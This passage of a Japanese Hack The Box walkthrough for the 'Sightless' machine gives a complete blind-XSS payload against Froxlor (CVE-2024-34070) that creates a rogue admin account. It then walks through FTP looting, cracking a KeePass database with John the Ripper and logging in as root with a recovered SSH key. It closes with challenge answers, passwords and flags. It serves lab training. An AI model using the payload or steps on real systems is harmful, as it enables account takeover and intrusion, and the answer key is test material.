admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//demo.froxlor.org/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}


【URLデコード後】
admin{{$emit.constructor`function b(){var metaTag=document.querySelector('meta[name="csrf-token"]');var csrfToken=metaTag.getAttribute('content');var xhr=new XMLHttpRequest();var url="https://demo.froxlor.org/admin_admins.php";var params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mgphdKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=yldrmtest@gmail.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&change_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_see_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspace=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&emails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarders_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token="+csrfToken+"&page=admins&action=add&send=send";xhr.open("POST",url,true);xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");alert("Your Froxlor Application has been completely Hacked");xhr.send(params)};a=b()`()}}




(4) URLデコードした内容を見やすい形にすると、XMLHttpRequest()を用いてurlに記載されたWebページにアクセスするスクリプトであることが分かる。

【URLデコード後(見やすい形に整形)】
admin{{
	$emit.constructor
		`function b(){
			var metaTag=document.querySelector('meta[name="csrf-token"]');
			var csrfToken=metaTag.getAttribute('content');
			var xhr=new XMLHttpRequest();
			var url="https://demo.froxlor.org/admin_admins.php";
			var params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mgphdKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=yldrmtest@gmail.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&change_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_see_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspace=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&emails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarders_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token="+csrfToken+"&page=admins&action=add&send=send";
			xhr.open("POST",url,true);
			xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
			alert("Your Froxlor Application has been completely Hacked");
			xhr.send(params)};
		a=b()`
	()
}}


(5) URLデコード前のペイロードのurlパラメータの値を「https%3a//admin.sightless.htb%3a8080/admin_admins.php」に変更する。

【Froxlorのログイン画面のloginnameパラメータで送る値】
admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//admin.sightless.htb%3a8080/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}




(6) ブラウザを用いて「http://admin.sightless.htb:1234/」にアクセスする。


(7) Burp Suiteの[Proxy] > [Intercept]画面にて[Intercept on]にする。


(8) 「http://admin.sightless.htb:1234/」のログイン画面にて、「ユーザー名:admin」と「パスワード:admin」を入力してログイン試行する。


(9) Burp Suiteで一時的に通信が遮断されリクエストしようとしているデータを確認する。

【リクエストデータ(変更前)】
POST /index.php?showmessage=2 HTTP/1.1
Host: admin.sightless.htb:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://admin.sightless.htb:1234
Connection: keep-alive
Referer: http://admin.sightless.htb:1234/index.php?showmessage=2
Cookie: PHPSESSID=0l2brrokr4ha5tpqu253lhfntk
Upgrade-Insecure-Requests: 1
Priority: u=0, i

loginname=admin&password=ForlorfroxAdmin&dologin=



(10) loginnameパラメータの値を上記(5)で生成したペイロードの値に変更して、「Intercept on」をクリックする。

【リクエストデータ(変更後)】
POST /index.php?showmessage=2 HTTP/1.1
Host: admin.sightless.htb:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://admin.sightless.htb:1234
Connection: keep-alive
Referer: http://admin.sightless.htb:1234/index.php?showmessage=2
Cookie: PHPSESSID=0l2brrokr4ha5tpqu253lhfntk
Upgrade-Insecure-Requests: 1
Priority: u=0, i

loginname=admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//admin.sightless.htb%3a8080/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}&password=ForlorfroxAdmin&dologin=



(11) ログインに失敗し、エラーメッセージが表示されていることを確認する。


(12) 「ユーザー名:admin」と「パスワード:ForlorfroxAdmin」を入力して、Froxlorにログインする。


(13) ログインに成功しダッシュボード画面が表示される。


(14) [System] > [System Log]をクリックすると、XSSペイロード実行時に送った文字列がログとして記録されており、alert()のポップアップが表示されることを確認する。そのため、XSS攻撃が成功していることが分かる。


(15) [Resources] > [Customer]をクリックすると、web1ユーザーがいることが分かるため、「web1」をクリックする。


(16) web1ユーザーに関するダッシュボードが表示される。


(17) [FTP] > [Accounts]をクリックして、web1ユーザーの設定変更ボタンをクリックする。


(18) 任意のパスワードを入力して、「Save」をクリックする。


(19) [FTP] > [Accounts]の画面に遷移されることを確認する。


FTPを用いたweb1ユーザーでログイン


(1) lftpを用いて攻撃対象のマシン(Sightless)にアクセスする。

※Kali Linux上で以下のコマンドを実行する。

$ lftp sightless.htb


(2) web1ユーザーでログインする。

※Kali Linux上で以下のコマンドを実行する。

lftp sightless.htb:~> login web1 gtuMmkliJh
   →「login web1 [パスワード]」のため、[パスワード]の箇所は必要に応じて変更する。


(3) SSL証明書に記載されているホスト名と一致せずコマンドを実行できないため、SSL証明書のチェックを無視するコマンドを実行する。

※Kali Linux上で以下のコマンドを実行する。

lftp web1@sightless.htb:~> set ssl:verify-certificate no


(4) lsコマンドでどのようなディレクトリ/ファイルがあるか確認すると、goaccessディレクトリとindex.htmlファイルがあることが分かる。

※Kali Linux上で以下のコマンドを実行する。

lftp web1@sightless.htb:~> ls
drwxr-xr-x   3 web1     web1         4096 May 17  2024 goaccess
-rw-r--r--   1 web1     web1         8376 Mar 29  2024 index.html


(4) goaccess/backup/ディレクトリ配下にDatabase.kdbファイルがあることが分かる。

※Kali Linux上で以下のコマンドを実行する。

lftp web1@sightless.htb:/> ls goaccess/
drwxr-xr-x   2 web1     web1         4096 Aug  2  2024 backup


lftp web1@sightless.htb:/> ls goaccess/backup/
-rw-r--r--   1 web1     web1         5292 Aug  6  2024 Database.kdb


(5) getコマンドを用いてindex.htmlとDatabase.kdbの2つのファイルをダウンロードする。

※Kali Linux上で以下のコマンドを実行する。

lftp web1@sightless.htb:~> get index.html
8376 bytes transferred in 16 seconds (518 B/s)


lftp web1@sightless.htb:/> get goaccess/backup/Database.kdb
5292 bytes transferred in 2 seconds (2.4 KiB/s)



John the Ripperを用いてパスワード解析(KeePass)


(1) keepass2johnを用いてJohn the Ripperで解析できるフォーマットに変更する。

※Kali Linux上で以下のコマンドを実行する。

$ keepass2john Database.kdb > Database.kdb.hash
Inlining Database.kdb


(2) John the RipperでKeePass KDBXファイル(Database.kdb)を開く際のパスワードを解析すると、パスワードが「bulldogs」であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ john -w=/usr/share/wordlists/rockyou.txt Database.kdb.hash --format=KeePass
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs         (Database.kdb)
1g 0:00:01:23 DONE (2025-11-03 02:35) 0.01200g/s 12.48p/s 12.48c/s 12.48C/s kucing..pisces
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


KeePassファイルへのアクセス


(1) KeePass KDBXファイル(Database.kdb)にアクセスする

※Kali Linux上で以下のコマンドを実行する。

$ kpcli --kdb=Database.kdb
  →パスワード(bulldogs)を入力する。
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/>


(2) lsコマンドを実行すると、Generalがあることが分かる。

※Kali Linux上で以下のコマンドを実行する。

kpcli:/> ls
=== Groups ===
General/


(3) lsコマンドを実行すると、sightless.htbなどがあることが分かる。

※Kali Linux上で以下のコマンドを実行する。

kpcli:/> ls General/
=== Groups ===
eMail/
Homebanking/
Internet/
Network/
sightless.htb/
Windows/


(4) lsコマンドを実行すると、Backupがあることが分かる。

※Kali Linux上で以下のコマンドを実行する。

kpcli:/> ls General/sightless.htb/
=== Groups ===
Backup/


(5) lsコマンドを実行すると、sshに関する情報があることが分かる。

※Kali Linux上で以下のコマンドを実行する。

kpcli:/> ls General/sightless.htb/Backup/
=== Entries ===
0. ssh


(6) showコマンドを実行してGeneral/sightless.htb/Backup/sshの内容を確認すると、rootユーザーに関する認証情報が表示される。

※Kali Linux上で以下のコマンドを実行する。

kpcli:/> show -f General/sightless.htb/Backup/ssh

 Path: /General/sightless.htb/Backup/
Title: ssh
Uname: root
 Pass: q6gnLTB74L132TMdFCpK
  URL:
Notes:
Atchm: id_rsa (3428 bytes)


(7) rootユーザーのパスワードが「q6gnLTB74L132TMdFCpK」である旨の記載があるためログイン試行するが、認証に失敗することが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ ssh root@sightless.htb
  →パスワード(q6gnLTB74L132TMdFCpK)を入力する。



rootユーザーでSSHのログイン


(1) KeePass KDBXファイル(Database.kdb)に記載されたパスワードでログインできないことが分かったため、秘密鍵(id_rsa)を用いてログインできないか検討する。

(2) attachコマンドでKeePass KDBXファイル(Database.kdb)内の秘密鍵(id_rsa)ファイルをダウンロードする。

※Kali Linux上で以下のコマンドを実行する。

kpcli:/> cd /General/sightless.htb/Backup/
kpcli:/General/sightless.htb/Backup>


kpcli:/General/sightless.htb/Backup> attach ssh
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish?  ←「e」を入力する。
Path to file: /home/kali/tmp              ←id_rsaファイルを格納する任意のディレクトリを入力する。
Saved to: /home/kali/tmp/id_rsa
Atchm: id_rsa (3428 bytes)


(3) 秘密鍵ファイル(id_rsa)の権限を変更する。

※Kali Linux上で以下のコマンドを実行する。

$ ls -al | grep "id_rsa"
-rw-rw-r-- 1 kali kali  3428 Nov  3 04:07 id_rsa


$ chmod 0600 id_rsa


$ ls -al | grep "id_rsa"
-rw------- 1 kali kali  3428 Nov  3 04:07 id_rsa


(4) xxdコマンドで秘密鍵ファイル(id_rsa)の内容を確認すると、改行コードが「0d 0a」になっていることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ xxd id_rsa
ーーー(省略)ーーー
00000c40: 6368 4f74 6f54 5030 7750 496c 6948 6f68  chOtoTP0wPIliHoh
00000c50: 464b 4449 6b58 6f67 6c4c 7472 3851 424e  FKDIkXoglLtr8QBN
00000c60: 4253 3753 4549 2b7a 547a 6c50 5659 5a4e  BS7SEI+zTzlPVYZN
00000c70: 7738 7730 6671 6343 6833 7866 6a6a 792f  w8w0fqcCh3xfjjy/
00000c80: 444e 6d0d 0a39 4b6c 784c 646a 7653 3231  DNm..9KlxLdjvS21
00000c90: 6e51 5339 4e38 3265 6a4c 5a4e 487a 6b6e  nQS9N82ejLZNHzkn
00000ca0: 5562 3166 6f68 5476 6e6e 4b70 456f 4643  Ub1fohTvnnKpEoFC
00000cb0: 574f 686d 4973 5742 394e 6846 6637 4751  WOhmIsWB9NhFf7GQ
00000cc0: 5631 6c55 5864 6352 7931 660d 0a6f 6a48  V1lUXdcRy1f..ojH
00000cd0: 6c41 7679 7366 3461 3478 7558 3732 4358  lAvysf4a4xuX72CX
00000ce0: 4d79 5266 5647 5854 744b 334c 3138 535a  MyRfVGXTtK3L18SZ
00000cf0: 6b73 6472 6730 4341 4b67 786e 4d47 574e  ksdrg0CAKgxnMGWN
00000d00: 6b67 4436 492f 4d2b 4577 534a 516d 6773  kgD6I/M+EwSJQmgs
00000d10: 4c50 4b0d 0a74 4c66 4f41 6453 7345 374d  LPK..tLfOAdSsE7M
00000d20: 4141 4141 5361 6d39 6f62 6b42 7a61 5764  AAAASam9obkBzaWd
00000d30: 6f64 4778 6c63 334d 7561 4852 6941 513d  odGxlc3MuaHRiAQ=
00000d40: 3d0d 0a2d 2d2d 2d2d 454e 4420 4f50 454e  =..-----END OPEN
00000d50: 5353 4820 5052 4956 4154 4520 4b45 592d  SSH PRIVATE KEY-
00000d60: 2d2d 2d2d                                ----




(5) dos2unixコマンドを用いて改行コード「0d 0a」を「0a」に変換する。

※Kali Linux上で以下のコマンドを実行する。

$ dos2unix id_rsa
dos2unix: converting file id_rsa to Unix format...


(6) xxdコマンドで秘密鍵ファイル(id_rsa)の内容を確認すると、改行コードが「0a」になっていることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ xxd id_rsa
ーーー(省略)ーーー
00000b60: 7a6d 7a39 5049 4752 6c4c 5837 6f53 764e  zmz9PIGRlLX7oSvN
00000b70: 7961 6e48 3251 4f52 776f 6346 4630 7a31  yanH2QORwocFF0z1
00000b80: 416a 0a2b 3664 7778 6e45 5364 666c 5163  Aj.+6dwxnESdflQc
00000b90: 4141 4145 4241 5047 3139 367a 5359 5634  AAAEBAPG196zSYV4
00000ba0: 6f4f 3735 7651 7a79 3855 4670 4634 5365  oO75vQzy8UFpF4Se
00000bb0: 4b42 6767 6a72 5152 6f59 3045 7849 4944  KBggjrQRoY0ExIID
00000bc0: 7253 624a 6a4b 6176 530a 3078 6548 2f4a  rSbJjKavS.0xeH/J
00000bd0: 5471 6c31 4170 6350 434f 4c34 6445 6633  Tql1ApcPCOL4dEf3
00000be0: 6e6b 5671 6775 6935 2f32 7251 717a 3930  nkVqgui5/2rQqz90
00000bf0: 3170 3373 3848 476f 4169 4432 5353 3178  1p3s8HGoAiD2SS1x
00000c00: 4e42 5169 3646 7274 4d54 5249 5263 6772  NBQi6FrtMTRIRcgr
00000c10: 0a34 3655 6368 4f74 6f54 5030 7750 496c  .46UchOtoTP0wPIl
00000c20: 6948 6f68 464b 4449 6b58 6f67 6c4c 7472  iHohFKDIkXoglLtr
00000c30: 3851 424e 4253 3753 4549 2b7a 547a 6c50  8QBNBS7SEI+zTzlP
00000c40: 5659 5a4e 7738 7730 6671 6343 6833 7866  VYZNw8w0fqcCh3xf
00000c50: 6a6a 792f 444e 6d0a 394b 6c78 4c64 6a76  jjy/DNm.9KlxLdjv
00000c60: 5332 316e 5153 394e 3832 656a 4c5a 4e48  S21nQS9N82ejLZNH
00000c70: 7a6b 6e55 6231 666f 6854 766e 6e4b 7045  zknUb1fohTvnnKpE
00000c80: 6f46 4357 4f68 6d49 7357 4239 4e68 4666  oFCWOhmIsWB9NhFf
00000c90: 3747 5156 316c 5558 6463 5279 3166 0a6f  7GQV1lUXdcRy1f.o
00000ca0: 6a48 6c41 7679 7366 3461 3478 7558 3732  jHlAvysf4a4xuX72
00000cb0: 4358 4d79 5266 5647 5854 744b 334c 3138  CXMyRfVGXTtK3L18
00000cc0: 535a 6b73 6472 6730 4341 4b67 786e 4d47  SZksdrg0CAKgxnMG
00000cd0: 574e 6b67 4436 492f 4d2b 4577 534a 516d  WNkgD6I/M+EwSJQm
00000ce0: 6773 4c50 4b0a 744c 664f 4164 5373 4537  gsLPK.tLfOAdSsE7
00000cf0: 4d41 4141 4153 616d 396f 626b 427a 6157  MAAAASam9obkBzaW
00000d00: 646f 6447 786c 6333 4d75 6148 5269 4151  dodGxlc3MuaHRiAQ
00000d10: 3d3d 0a2d 2d2d 2d2d 454e 4420 4f50 454e  ==.-----END OPEN
00000d20: 5353 4820 5052 4956 4154 4520 4b45 592d  SSH PRIVATE KEY-
00000d30: 2d2d 2d2d




(7) SSHを用いてrootユーザーでログインしようとすると、秘密鍵ファイル(id_rsa)を読み込めない旨のエラーメッセージが表示される。

※Kali Linux上で以下のコマンドを実行する。

$ ssh -i id_rsa root@10.10.11.32
Load key "id_rsa": error in libcrypto
root@10.10.11.32's password:


(8) 秘密鍵ファイル(id_rsa)を読み込めるようにするために最後の行に改行を入れる。

※Kali Linux上で以下のコマンドを実行する。

$ vi id_rsa
  →最後の「-----END OPENSSH PRIVATE KEY-----」の後に改行を入れる。


(9) SSHを用いてrootユーザーで攻撃対象のマシン(Sightless)にログインする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh -i id_rsa root@10.10.11.32
Last login: Mon Nov  3 09:05:50 2025 from 10.10.14.8
root@sightless:~#


(10) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

# id
uid=0(root) gid=0(root) groups=0(root)


# whoami
root


(11) 特権ユーザー用のフラグファイルの内容を確認する。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

# cat /root/root.txt
cd8b2395891510f10e3c61a2f9480be1



[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Sightless?
問題(日本語訳):Sightless でリッスンしている開いている TCP ポートはいくつありますか?

答え:3


・Task 2

問題(英語訳):There is an application running on a subdomain of the main site. What is the name of that software application?
問題(日本語訳):メインサイトのサブドメインでアプリケーションが実行されています。そのソフトウェアアプリケーションの名前は何ですか?

答え:SQLPad


・Task 3

問題(英語訳):What version of SQLPad is running on Sightless?
問題(日本語訳):Sightless で実行されている SQLPad のバージョンは何ですか?

答え:6.10.0


・Task 4

問題(英語訳):What is the 2022 CVE ID assigned to a template injection vulnerability in this version of SQLPad?
問題(日本語訳):このバージョンの SQLPad のテンプレート インジェクション脆弱性に割り当てられた 2022 CVE ID は何ですか?

答え:CVE-2022-0944


・Task 5

問題(英語訳):What system user is the SQLPad application running as on Sightlight?
問題(日本語訳):Sightlight 上で SQLPad アプリケーションはどのシステム ユーザーとして実行されていますか?

答え:root


・Task 6

問題(英語訳):What user besides root has a password set in this container?
問題(日本語訳):このコンテナでパスワードを設定しているのは、root 以外のどのユーザーですか?

答え:michael


・Task 7

問題(英語訳):What is the michael user's password on Sightless?
問題(日本語訳):Sightless の michael ユーザーのパスワードは何ですか?

答え:insaneclownposse


・Submit User Flag

問題(英語訳):Submit the flag located in the michael user's home directory.
問題(日本語訳):michael ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:f7efbb2fdec26bc05c4c0ad4858e3128
※/home/michael/user.txtファイルの内容


・Task 9

問題(英語訳):What web application is running on Sightless but only accessible from localhost?
問題(日本語訳):Sightless 上で実行されているが、localhost からのみアクセスできる Web アプリケーションは何ですか?

答え:froxlor


・Task 10

問題(英語訳):hat is the 2024 CVE ID for a blind cross-site scripting vulnerability in Froxlor that can lead to admin access?
問題(日本語訳):管理者アクセスにつながる可能性がある Froxlor のブラインド クロスサイト スクリプティング脆弱性の 2024 CVE ID は何ですか?

答え:CVE-2024-34070


・Task 11

問題(英語訳):What user is configured in Froxlor with an account and FTP access?
問題(日本語訳):Froxlor でアカウントと FTP アクセスが設定されているユーザーは誰ですか?

答え:web1


・Task 12

問題(英語訳):What is the name of the file in the backup folder accessible over FTP as web1?
問題(日本語訳):web1 として FTP 経由でアクセス可能なバックアップ フォルダー内のファイルの名前は何ですか?

答え:Database.kdb


・Task 13

問題(英語訳):What is the master password for Database.kdb?
問題(日本語訳):Database.kdb のマスターパスワードは何ですか?

答え:bulldogs


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:cd8b2395891510f10e3c61a2f9480be1
※/root/root.txtファイルの内容


関連記事(Hack The Box)

※後日作成予定。